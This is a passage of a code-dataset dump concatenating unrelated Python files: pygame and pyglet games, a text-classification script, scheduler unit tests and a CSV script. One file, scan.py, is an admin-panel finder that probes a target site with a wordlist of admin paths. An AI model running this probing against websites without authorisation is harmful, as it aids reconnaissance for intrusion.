\"MENU\"\n\t\tself.clock = pygame.time.Clock()\n\t\tself.myLevel = Levels.Level()\n\t\tself.counter = 0\n\t\tLevel1 = self.myLevel.LevelList[random.randrange(0,7)]\n\t\tself.LevelList = [Level1]\n\n\n\n\tdef mainloop(self):\n\t\t'''Loop determining the state of the game'''\n\t\twhile True:\n\t\t\tif(self.STATE == \"GAME1\"):\n\t\t\t\tself.gameloop1()\n\t\t\tif(self.STATE == \"DEATH\"):\n\t\t\t\tself.deathloop()\n\t\t\tif(self.STATE == \"MENU\"):\n\t\t\t\tself.menuloop()\n\t\t\tif(self.STATE == \"WIN\"):\n\t\t\t\tself.winloop()\n\t\t\tif(self.STATE == \"LOAD\"):\n\t\t\t\tself.loadloop()\n\t\t\tif(self.STATE == \"Exit\"):\n\t\t\t\tself.endloop()\n\t\t\tif(self.STATE == \"CONTROL\"):\n\t\t\t\tself.controlsloop()\n\n\tdef gameloop1(self):\n\t\t'''Main loop for the game, wherr the player moves through the level'''\n\t\tbackground_image = pygame.image.load(\"assets/gameData/background.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tself.myLevel.genMap(self.LevelList[0],self.screen)\n\t\tself.Hero = Hero.Hero(\"assets/gameData/player.png\", 32 , 32, 60, 352)\n\n\n\t\tpygame.key.set_repeat(1,50)\n\t\twhile self.STATE == \"GAME1\":\n\t\t\t#self.background.fill((45, 18, 224))\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n##################### Player Controls Below #####################\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif (event.key == pygame.K_RIGHT):\n\t\t\t\t\t\tself.Hero.move_right()\n\t\t\t\t\telif (event.key == pygame.K_LEFT):\n\t\t\t\t\t\tself.Hero.move_left()\n\t\t\t\t\telif(event.key == pygame.K_SPACE):\n\t\t\t\t\t\tself.Hero.jump(self.myLevel.currentPlatforms, self.myLevel.currentDoor, self.myLevel.lava)\n\t\t\t\t\telif(event.key == pygame.K_q):\n\t\t\t\t\t\tself.STATE = \"MENU\"\n\t\t\t\telif event.type == pygame.KEYUP:\n\t\t\t\t\tif (event.key == pygame.K_RIGHT):\n\t\t\t\t\t\tself.Hero.change_x = 0\n\t\t\t\t\telif (event.key == pygame.K_LEFT):\n\t\t\t\t\t\tself.Hero.change_x = 0\n##################### Player Controls Above #####################\n##################### Updating Below #####################\n\t\t\tself.screen.blit(background_image,(0,0))\n\t\t\tself.Hero.update(self.myLevel.currentPlatforms,self.myLevel.currentDoor, self.myLevel.lava)\n\t\t\tself.screen.blit(self.Hero.image, (self.Hero.rect.x, self.Hero.rect.y))\n\t\t\tself.myLevel.genMap(self.LevelList[0],self.screen)\n\n\t\t\tpygame.display.flip()\n\t\t\tself.clock.tick(60)\n\t\t\tif self.Hero.isTouchingdoor == True:\n\t\t\t\tif self.counter == 0:\n\t\t\t\t\tself.counter +=1\n\t\t\t\t\tself.Hero.isTouchingdoor = False\n\t\t\t\t\tself.STATE = \"LOAD\"\n\t\t\t\telif self.counter == 1:\n\t\t\t\t\tself.STATE = \"WIN\"\n\t\t\tif self.Hero.dead == True:\n\t\t\t\tself.counter = 0\n\t\t\t\tself.STATE = \"DEATH\"\n##################### Updating Above #####################\n\n\n\tdef menuloop(self):\n\t\t'''Home screen for the game to navigate to other screens'''\n\t\tself.background.fill((224, 28, 18))\n\t\tbackground_image = pygame.image.load(\"assets/gameData/StartScreen.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tpygame.display.update()\n\t\twhile (self.STATE == \"MENU\"):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif (event.key == pygame.K_SPACE):\n\t\t\t\t\t\tself.STATE = \"GAME1\"\n\t\t\t\t\tif (event.key == pygame.K_c):\n\t\t\t\t\t\tself.STATE = \"CONTROL\"\n\n\tdef deathloop(self):\n\t\t'''shows a message when a player dies from lava'''\n\t\tself.background.fill((224, 28, 18))\n\t\tbackground_image = pygame.image.load(\"assets/gameData/DeathScreen.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tpygame.display.update()\n\t\twhile (self.STATE == \"DEATH\"):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif (event.key == pygame.K_SPACE):\n\t\t\t\t\t\tself.STATE = \"GAME1\"\n\t\t\t\t\tif (event.key == pygame.K_c):\n\t\t\t\t\t\tself.STATE = \"CONTROL\"\n\n\tdef winloop(self):\n\t\t'''screen appears when a player wins the level'''\n\t\tbackground_image = pygame.image.load(\"assets/gameData/WinScreen.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tpygame.display.update()\n\t\twhile (self.STATE == \"WIN\"):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\n\tdef loadloop(self):\n\t\t'''intermdiate screen between levels'''\n\t\tbackground_image = pygame.image.load(\"assets/gameData/LoadScreen.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tpygame.display.update()\n\t\twhile (self.STATE == \"LOAD\"):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif (event.key == pygame.K_SPACE):\n\t\t\t\t\t\tself.STATE = \"GAME1\"\n\n\n\tdef controlsloop(self):\n\t\t'''shows the player how to play the game'''\n\t\tbackground_image = pygame.image.load(\"assets/gameData/Controls.png\").convert()\n\t\tself.screen.blit(background_image,(0,0))\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tpygame.display.update()\n\t\twhile (self.STATE == \"CONTROL\"):\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\t\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\t\tif (event.key == pygame.K_q):\n\t\t\t\t\t\tself.STATE = \"MENU\"\n\n\n\tdef endloop(self):\n\t\t'''self explanatory'''\n\t\tself.Hero.kill()\n\t\tmyfont = pygame.font.SysFont(None, 30)\n\t\tmessage = myfont.render(\"Ayy Lmao\", False, (0,0,0))\n\t\tself.screen.blit(message, (self.width/2, self.height/2))\n\t\tpygame.display.flip()\n\t\twhile True:\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n","sub_path":"files/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":5822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"270620322","text":"import numpy as np\nimport pandas as pd \nimport string\nfrom nltk.tokenize import RegexpTokenizer\nimport os\nimport re\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import normalize\nfrom sklearn.linear_model import LogisticRegression\n\n\n\n\nX_set = []\nX_test = []\n\nfor i in range(1,24):\n\n\tfor n in range(1,16):\n\n\t\tdirname = os.path.dirname(__file__)\n\t\tfilename = os.path.join(dirname, 'articles/articles/train/author_'+str(i)+'/'+str(n)+'.txt')\n\t\twith open(filename) as myfile:\n\t\t data = myfile.read()\n\t\t\n\t\tdata = re.sub(r'[^\\w\\s]','',data)\n\n\t\tX_set.append(data)\n\n\np=0\ny_train = np.zeros(345)\nfor i in range(1,24):\n\tfor n in range (1,16):\n\t\ty_train[p] = i\n\t\tp = p+1\n\n\nfor i in range(1,24):\n\n\tfor n in range(16,21):\n\n\t\tdirname1 = os.path.dirname(__file__)\n\t\tfilename1 = os.path.join(dirname, 'articles/articles/test/author_'+str(i)+'/'+str(n)+'.txt')\n\t\twith open(filename1) as myfile1:\n\t\t data = myfile1.read()\n\t\t\n\t\tdata = re.sub(r'[^\\w\\s]','',data)\n\n\t\tX_set.append(data)\n\t\tX_test.append(data)\n\t\t\n\n\np = 0\ny_test = np.zeros(115)\nfor i in range(1,24):\n\tfor n in range (16,21):\n\t\ty_test[p] = i\n\t\tp = p+1\n\n\n\n\n\nvectorizer = CountVectorizer(stop_words='english',max_features=8000,ngram_range=(1,2))\nX_feat = vectorizer.fit_transform(X_set)\nfeature_arr = X_feat.toarray()\nfeature_arr = np.array(feature_arr)\nword_list = vectorizer.get_feature_names()\n\n\n\n#**************************************Finding the top ten most frequently used words for the first 10 authors ***************************#\n\n\nmax_freq_train=[]\nmax_word_freq_train = []\ni= 0\nfor p in range(10):\n\tword_freq = np.sum(feature_arr[i:i+15], axis=0)\n\tmax_fr_ls = np.argpartition(word_freq, -10)[-10:]\n\tword_ls = []\n\tfreq_ls = []\n\tfor q in range(len(max_fr_ls)):\n\t\tword = word_list[max_fr_ls[q]]\n\t\tfreq = word_freq[max_fr_ls[q]]\n\t\tword_ls.append(word)\n\t\tfreq_ls.append(freq)\n\n\tmax_freq_train.append(freq_ls)\n\tmax_word_freq_train.append(word_ls)\n\ti=i+15\n\ntrain_freq = np.array([max_word_freq_train,max_freq_train])\n\n\n# print(\"*********************************************\")\n\nmax_freq_test=[]\nmax_word_freq_test = []\n\ni = 345\nfor p in range(10):\n\tword_freq = np.sum(feature_arr[i:i+5], axis=0)\n\tmax_fr_ls = np.argpartition(word_freq, -10)[-10:]\n\tword_ls = []\n\tfreq_ls = []\n\tfor r in range(len(max_fr_ls)):\n\t\tword = word_list[max_fr_ls[r]]\n\t\tfreq = word_freq[max_fr_ls[r]]\n\t\tword_ls.append(word)\n\t\tfreq_ls.append(freq)\n\n\tmax_freq_test.append(freq_ls)\n\tmax_word_freq_test.append(word_ls)\n\ti=i+5\n\ntest_freq = np.array([max_word_freq_test,max_freq_test])\n\nfor i in range(10):\n\tprint(\"******************************\")\n\tprint(\"author \"+str(i+1))\n\tprint(train_freq[0,i])\n\tprint(test_freq[0,i])\n\tprint(train_freq[1,i])\n\tprint(test_freq[1,i])\n\tprint(\"******************************\")\n\n# \n\n\n\n#********************************** Fitting model using Vectorizer and Multinomial Naive Bayes ******************************#\n\n\n\n# feature_train_arr = feature_arr[0:345,:]\n# feature_test_arr = feature_arr[345:460,:]\n# # print(vectorizer.get_feature_names())\n# # print(feature_arr.shape)\n# clfmnb = MultinomialNB(alpha=0.02)\n# clfmnb.fit(feature_train_arr, y_train)\n\n# y_pred_train = clfmnb.predict(feature_train_arr)\n# y_pred_test = clfmnb.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_train)\n# accuracy_test = accuracy_score(y_test,y_pred_test)\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n\n# #*************************************** fitting model using TFLDF and different training models. *******************************#\n\n\n# TF_IDFvectorizer = TfidfVectorizer(stop_words='english',max_features=8000,ngram_range=(1,2))\n# X_feat= TF_IDFvectorizer.fit_transform(X_set)\n# feature_arr = X_feat.toarray()\n# feature_arr = np.array(feature_arr)\n\n# feature_train_arr = feature_arr[0:345,:]\n# word_list = TF_IDFvectorizer.get_feature_names()\n\n# clfsvmrbf = SVC(kernel='rbf', C=0.1)\n# clfsvmrbf.fit(feature_train_arr,y_train)\n\n# y_pred_svm_rbf_train = clfsvmrbf.predict(feature_train_arr)\n# y_pred_svm_rbf_test = clfsvmrbf.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_svm_rbf_train)\n# accuracy_test = accuracy_score(y_test,y_pred_svm_rbf_test)\n\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n# clfsvml = SVC(kernel='linear', C=1.0)\n# clfsvml.fit(feature_train_arr,y_train)\n\n\n# y_pred_svm_lin_train = clfsvml.predict(feature_train_arr)\n# y_pred_svm_lin_test = clfsvml.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_svm_lin_train)\n# accuracy_test = accuracy_score(y_test,y_pred_svm_lin_test)\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n# X_norm = normalize(feature_train_arr, norm='l2', axis=1, copy=True, return_norm=False)\n# clfsvmcos = SVC(kernel='linear', C=1.0)\n# clfsvmcos.fit(X_norm,y_train)\n\n# y_pred_svm_cos_train = clfsvmcos.predict(feature_train_arr)\n# y_pred_svm_cos_test = clfsvmcos.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_svm_cos_train)\n# accuracy_test = accuracy_score(y_test,y_pred_svm_cos_test)\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n\n# clfgnb = GaussianNB()\n# clfgnb.fit(feature_train_arr,y_train)\n\n# y_pred_gnb_train = clfgnb.predict(feature_train_arr)\n# y_pred_gnb_test = clfgnb.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_gnb_train)\n# accuracy_test = accuracy_score(y_test,y_pred_gnb_test)\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n# clfLR = LogisticRegression(random_state = 42, multi_class = 'multinomial', solver ='lbfgs')\n# clfLR.fit(feature_train_arr,y_train)\n\n# y_pred_LR_train = clfLR.predict(feature_train_arr)\n# y_pred_LR_test = clfLR.predict(feature_test_arr)\n\n# accuracy_train = accuracy_score(y_train,y_pred_LR_train)\n# accuracy_test = accuracy_score(y_test,y_pred_LR_test)\n\n# # print(accuracy_train)\n# # print(accuracy_test)\n\n\n","sub_path":"Naive_bayes/mult_na_ba.py","file_name":"mult_na_ba.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"149445944","text":"import pyglet\nfrom pyglet.window import key\nfrom random import random, uniform, randint\nfrom cwcutils.dec import coroutine, group\n\nwindow = pyglet.window.Window(width=600, height=600)\nmegaman = pyglet.resource.image('mega_man.jpg')\nmegaman.anchor_x = megaman.width >> 1\nmegaman.anchor_y = megaman.height >> 1\n\n\nclass GameState(object):\n def __init__(self):\n self.x = window.width >> 1\n self.y = window.height >> 1\n self.count = 0\n\n # instantiate coroutine\n self.tick = self.tick()\n self.walk = self.walk()\n self.events_on_queue = {}\n\n def send(self, arg):\n self.tick.send(arg)\n\n @coroutine\n def tick(self):\n while True:\n key = yield\n self.walk.send(key)\n self.event_generator(key)\n\n eventname_to_delete = []\n for eventname, event in self.events_on_queue.iteritems():\n try:\n event.send(key)\n except StopIteration:\n eventname_to_delete += [eventname]\n\n for name in eventname_to_delete:\n del self.events_on_queue[name]\n\n @coroutine\n def walk(self):\n step = 20\n while True:\n symbol = (yield)\n\n if symbol == key.RIGHT:\n self.x += step if self.x < window.width else 0\n self.count += 1\n elif symbol == key.LEFT:\n self.x -= step if self.x >= 0 else 0\n self.count += 1\n elif symbol == key.UP:\n self.y += step if self.y < window.height else 0\n self.count += 1\n elif symbol == key.DOWN:\n self.y -= step if self.y >= 0 else 0\n self.count += 1\n\n def event_generator(self, key):\n # not necessarily to use key\n # randomly generate coroutined events, putting them into self.events_on_queue\n\n f_candidates = [f for f in walkEvents.members if f.__name__ not in self.events_on_queue.keys()]\n for f in f_candidates:\n if random() < 0.2:\n duration = randint(1,10)\n cf = coroutine(f)\n cf = cf(duration)\n self.events_on_queue.update({f.__name__: cf})\n\n\n\ngs = GameState()\nwalk_count = pyglet.text.Label(str(gs.count), x=0, y=0)\n\n\n@window.event\ndef on_key_press(symbol, modifiers):\n gs.send(symbol)\n\n\n@window.event\ndef on_draw():\n window.clear()\n megaman.blit(gs.x, gs.y)\n walk_count.text = str(gs.count)\n walk_count.draw()\n\n\nwalkEvents = group('walkEvents')\n\n\n@walkEvents\ndef random_teleport(duration):\n print('random_teleport effect starts for %d steps' % duration)\n d = 0\n while d < duration:\n key = yield\n if random() < 0.99:\n gs.x = uniform(0, window.width)\n gs.y = uniform(0, window.height)\n d += 1\n\n print('random_teleport effect ends')\n\n\npyglet.app.run()\n","sub_path":"wander.py","file_name":"wander.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"545289466","text":"#!/usr/bin/env python3\n\n##### list.txt is get form --> https://github.com/bdblackhat/admin-panel-finder/blob/master/link.txt\ntry:\n\timport argparse\n\timport requests\n\tfrom colorama import Fore\n\timport os\n\timport sys\n\tfrom progress.bar import Bar\t# module for loading\nexcept:\n\tprint(\"Require Module Not Found \\n Try pip3 install -r requirements.txt\")\n\texit()\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('url', metavar=\"url\", type=str, help=\"Target url to scan\", nargs=\"+\")\nparser.add_argument('-w', metavar=\"-w\", type=str, help=\"Custom wordlist\") \t# to ADD PARSER\nargs = parser.parse_args()\n\n# define colors\nred = Fore.RED\nyellow = Fore.YELLOW\ngreen = Fore.GREEN\nwhite = Fore.WHITE\nblue = Fore.BLUE\n\nextimate = []\n\ndef banner():\t# banner\n\tprint(f\"\"\"\n{white} [MADE IN MYANMAR]{yellow}\n*----------------------------------*{white}\"\"\")\n\t\n\t\n# open the list and call the scan function\ndef open_list(url):\n\tprint(\"Reading Lines\")\n\t# check if user define -w custom wordlist value or not\n\t# if -w custom word list is not define use default wordlist to scan\n\tif args.w == \"\" or None:\n\t\ttry:\n\t\t\tprint(args.w)\n\t\t\tf = open(args.w, 'r')\n\n\t\texcept Exception as error:\n\t\t\tprint(error)\n\t\t\treturn 1\n\telse:\n\t\tf = open('list.txt', 'r')\n\n\tadmin_list = f.readlines()\n\n\tprint(f\"{len(admin_list)} numbers of lines found in list.txt!\")\n\n\tscan(admin_list, url)\n\n# scan\ndef scan(admin_list, url):\n\tglobal extimate\n\n\t# make sure the url\n\tif url[:7] == \"http://\" or url[:8] == \"https://\":\n\t\tpass\n\telse:\n\t\turl = 'http://' + url\n\n\tprint(\"[Target url] - \" + url)\n\n\tprint(blue)\n\n\ttry:\n\t\trequests.get(url)\n\texcept:\n\t\tprint(f\"\\n{red}[Error] Wrong/Bad Url Or Server Down!\")\n\t\tprint(\"Include http or https in url\")\n\t\tprint(f\"{white}Example Url: http://www.fakeweb.com\")\n\t\tprint(f\"{white}Example Url: https://fakeweb.com\")\n\t\tsys.exit()\n\n\n\tprint(white)\n\tbar = Bar('Processing', max=len(admin_list))\t# loading\n\n\tfor panel in admin_list:\n\t\tadmin_url = url + '/' + panel\n\t\tadmin_url = admin_url.encode().decode()\n\n\t\ttry:\n\t\t\t# Scanning\n\t\t\tr = requests.get(admin_url.strip())\n\t\t\tif r.status_code == 200:\n\t\t\t\t# admin url found\n\t\t\t\textimate.append(admin_url)\t# add to extimate admin url list\n\t\t\t\tbar.next()\n\t\t\telse:\n\t\t\t\t# admin url not found\n\t\t\t\tbar.next()\n\t\texcept:\n\t\t\tpass\n\n\tbar.finish()\n\tprint(\"\")\n\n\tif len(extimate) == 0:\n\t\tprint(f\"\\n{red}Sorry No Admin Panel Found!{white}\")\n\n\telse:\n\t\t# print out the extimate admin url list\n\t\tprint(f\"{'*' * 10} {green}Extimate Admin Panel URL(s) List{white} {'*' * 10}\")\n\t\tfor links in extimate:\n\t\t\tprint(links)\n\t\tprint(white)\n\n# fun to start program\ndef final_fun(url):\n\tbanner()\n\topen_list(url)\n\t# open_list will start the scan function:\n\n\nif __name__ == '__main__':\n\tif args.url != '' or None:\n\t\turl = args.url\n\n\t\tfinal_fun(url[0])\n\telse:\n \tsys.exit(f\"Defind the argument!\\n Type python3 {__name__}\")\n\nelse:\n\tprint(\"Error\")\n\n","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"599335495","text":"import unittest\nfrom coordinator import Coordinator\nfrom datetime import datetime,timedelta\nimport pytz\nfrom bson.json_util import loads\n\nclass TestExternalInteractionMethods(unittest.TestCase):\n\n\tdef mocked_get_all_trips_from_database(self):\n\t\treturn self.monday_trips[:5]\n\n\tdef mocked_make_crawler_request(self,trips,live,cb):\n\t\tif live:\n\t\t\tself.assertEqual(len(trips),\n\t\t\t\t1)\n\t\telse:\n\t\t\tself.assertEqual(len(trips),\n\t\t\t\t1)\n\t\treturn {}\n\n\tdef mocked_insert_durations_into_db(self,records,type):\n\t\tpass\n\n\tdef setUp(self):\n\t\tself.swizzles = {\n\t\t\t'get_all_trips_from_database': Coordinator.get_all_trips_from_database,\n\t\t\t'make_crawler_request': Coordinator.make_crawler_request,\n\t\t\t'insert_durations_into_db': Coordinator.insert_durations_into_db\n\t\t}\n\n\t\tCoordinator.get_all_trips_from_database = self.mocked_get_all_trips_from_database\n\t\tCoordinator.make_crawler_request = self.mocked_make_crawler_request\n\t\tCoordinator.insert_durations_into_db = self.mocked_insert_durations_into_db\n\t\tself.coordinator = Coordinator()\n\t\tself.coordinator.initialize_scheduler()\n\t\twith open('monday_trips.json','r') as data_file:\n\t\t\tself.monday_trips = loads(data_file.read())\n\n\t# def test_job_initialization(self):\n\t\t# self.coordinator.initialize_jobs()\n\t\t# self.assertEqual(len(self.coordinator.scheduler.get_jobs()),\n\t\t\t# 7) # 1 batch for 2ams, 1 batch for historicals, 5 batches for live requests\n\n\tdef test_execute_batch(self):\n\t\tself.coordinator.schedule_2am_jobs(self.monday_trips[:1])\n\t\tself.coordinator.schedule_historical_jobs(self.monday_trips[:1])\n\t\tjob_id_1 = self.coordinator.scheduler.get_jobs()[0].args[0]\n\t\tjob_id_2 = self.coordinator.scheduler.get_jobs()[1].args[0]\n\t\tself.coordinator.execute_batch(job_id_1)\n\t\tself.coordinator.execute_batch(job_id_2)\n\t\tself.assertTrue(1==1)\n\n\tdef tearDown(self):\n\t\tCoordinator.get_all_trips_from_database = self.swizzles['get_all_trips_from_database']\n\t\tCoordinator.make_crawler_request = self.swizzles['make_crawler_request']\n\t\tCoordinator.insert_durations_into_db = self.swizzles['insert_durations_into_db']\n\nclass TestDBRetrievalMethods(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.coordinator = Coordinator()\n\t\t\n\tdef test_get_records_from_db(self):\n\t\t#self.coordinator.DATABASE_API = \"http://141.142.209.153:5001/records?\"\n\t\trecords = self.coordinator.get_all_trips_from_database()\n\t\tprint(records)\n\t\tself.assertTrue(len(records) > 100)\n\n\tdef test_get_records_timeout(self):\n\t\tself.coordinator.DATABASE_API = \"http://141.123.232.99/\" # Not a server we can contact, yet a valid IP address\n\t\trecords = self.coordinator.get_all_trips_from_database()\n\t\tself.assertIn('error',records)\n\t\tself.assertTrue(records['error'].find('timed out') != -1)\n\nclass TestDateUtilityMethods(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.coordinator = Coordinator()\n\t\tself.mon_1_0_0 = {\n\t\t\t'day': 1,\n\t\t\t'hours': 1,\n\t\t\t'minutes': 0,\n\t\t}\n\t\tself.mon_1_0_10 = {\n\t\t\t'day': 1,\n\t\t\t'hours': 1,\n\t\t\t'minutes': 0,\n\t\t}\n\n\tdef test_date_for_date_dict(self):\n\t\tnow = datetime.now()\n\t\tself.assertEqual(\n\t\t\tself.coordinator.date_for_date_dict(self.mon_1_0_0).day,\n\t\t\t(now + timedelta(self.mon_1_0_0['day'] - now.weekday())).day)\n\nclass TestSchedulingMethods(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.coordinator = Coordinator()\n\t\tself.coordinator.initialize_scheduler()\n\t\tself.mon_1_0_0 = {\n\t\t\t'day': 0,\n\t\t\t'hours': 1,\n\t\t\t'minutes': 0,\n\t\t}\n\t\tself.trip1 = {\n\t\t\t'survey_id': '2012-0',\n\t\t\t'o_lat': '-23.550504000',\n\t\t\t'o_long': '-46.635064000',\n\t\t\t'd_lat': '-23.559353000',\n\t\t\t'd_long': '-46.634847000',\n\t\t\t'mode': 'driving',\n\t\t\t'live': 'true'\n\t\t}\n\t\twith open('monday_trips.json','r') as data_file:\n\t\t\tself.monday_trips = loads(data_file.read())\n\n\tdef get_next_valid_date_for_job_date(self,date):\n\t\tday = int(date['day'] + datetime.now().day - datetime.now().weekday())\n\t\tjob_after_today = datetime.now().weekday() > date['day']\n\t\tjob_after_this_hour = datetime.now().weekday() == date['day'] and datetime.now().hour > date['hours']\n\t\tjob_after_this_minute = datetime.now().weekday() == date['day'] and datetime.now().hour == date['hours'] and datetime.now().minute > date['minute']\n\t\t\n\t\tnext_date_no_day = datetime(\n\t\t\t\tdatetime.now().year,\n\t\t\t\tdatetime.now().month,\n\t\t\t\tday,\n\t\t\t\tdate['hours'],\n\t\t\t\tdate['minutes'],\n\t\t\t\t0,\n\t\t\t\ttzinfo=pytz.timezone('America/Chicago'))\n\n\t\tif job_after_today or job_after_this_hour or job_after_this_minute:\n\t\t\tnext_date_no_day += timedelta(7,0)\n\t\treturn next_date_no_day\n\n\tdef test_insert_a_job(self):\n\t\tmon_1_0_0_date = self.coordinator.date_for_date_dict(self.mon_1_0_0)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.assertEqual(\n\t\t\tstr(self.coordinator.scheduler.get_jobs()[0].next_run_time.replace(tzinfo = None)),\n\t\t\tstr(self.get_next_valid_date_for_job_date(self.mon_1_0_0).replace(tzinfo = None)))\n\n\tdef test_insert_a_few_jobs(self):\n\t\tmon_1_0_0_date = self.coordinator.date_for_date_dict(self.mon_1_0_0)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tfor job in self.coordinator.scheduler.get_jobs():\n\t\t\tself.assertEqual(\n\t\t\t\tstr(job.next_run_time.replace(tzinfo = None)),\n\t\t\t\tstr(self.get_next_valid_date_for_job_date(self.mon_1_0_0).replace(tzinfo = None)))\n\n\tdef test_schedule_2am_job(self):\n\t\tself.coordinator.schedule_2am_jobs(self.monday_trips[:1])\n\t\tself.assertEqual(self.coordinator.scheduler.get_jobs()[0].next_run_time.hour,\n\t\t\t2)\n\n\tdef test_schedule_historical_job(self):\n\t\tself.coordinator.schedule_historical_jobs(self.monday_trips[:1])\n\t\tself.assertEqual(self.coordinator.scheduler.get_jobs()[0].next_run_time.hour,\n\t\t\tself.coordinator.HISTORICAL_JOB_HOUR)\n\n\tdef test_schedule_a_lot_of_jobs_over_day(self):\n\t\tself.coordinator.BATCH_SIZE = 100\n\t\tself.coordinator.debug = False\n\t\tself.coordinator.schedule_live_jobs(self.monday_trips)\n\t\tjob_count = 0\n\t\tfor job in self.coordinator.scheduler.get_jobs():\n\t\t\tjob_count += len(self.coordinator.job_dictionary[job.args[0]])\n\t\tself.assertEqual(job_count,len(self.monday_trips))\n\n\tdef test_job_batching(self):\n\t\tmon_1_0_0_date = self.coordinator.date_for_date_dict(self.mon_1_0_0)\n\t\tself.coordinator.debug = True\n\t\tself.coordinator.BATCH_TIME_GAP = 10\n\t\tself.coordinator.BATCH_SIZE = 2\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\t\tself.coordinator.insert_job(self.trip1,mon_1_0_0_date)\n\n\t\tbatches = {\n\t\t\t0: 0,\n\t\t\t10: 0,\n\t\t\t20: 0\n\t\t}\n\n\t\tself.assertEqual(len(self.coordinator.scheduler.get_jobs()),3)\n\n\t\tfor job in self.coordinator.scheduler.get_jobs():\n\t\t\tbatches[job.next_run_time.second] += 1\n\n\t\tself.assertEqual(batches[0],1)\n\t\tself.assertEqual(batches[10],1)\n\t\tself.assertEqual(batches[20],1)\n\n\tdef tearDown(self):\n\t\tself.coordinator.terminate_scheduler()\n\n\nif __name__ == '__main__':\n\tunittest.main()\n","sub_path":"test_coordinator_scheduling_utilities.py","file_name":"test_coordinator_scheduling_utilities.py","file_ext":"py","file_size_in_byte":7042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"147029394","text":"import csv\n\ndef load_csv(filename):\n\tlines=csv.reader(open(filename,\"rb\"))\n\tdataset=list(lines)\n\tfor i in range(1,len(dataset)):\n\t\tfor j in range(0,len(dataset[1])):\n\t\t dataset[i][j]=float(dataset[i][j])\n\treturn dataset\n\n\ndataset=load_csv('normalized_b.csv')\nfeatures=dataset[0]\ndel dataset[0]\nwith open('processed_b.csv', 'w') as csvfile:\n\t\tcsvwriter = csv.writer(csvfile)\n\t\tcsvwriter.writerow(features)\n\n#print dataset\ndataset1=dataset\nfor i in range(len(dataset1)):\n\tfor j in range(len(dataset1[0])):\n\t\tif(dataset1[i][j]>0.7):\n\t\t\tdataset1[i][j]=1\n\t\telse:\n\t\t\tdataset1[i][j]=0\n\nwith open('processed_b.csv', 'a') as csvfile:\n\t\tcsvwriter = 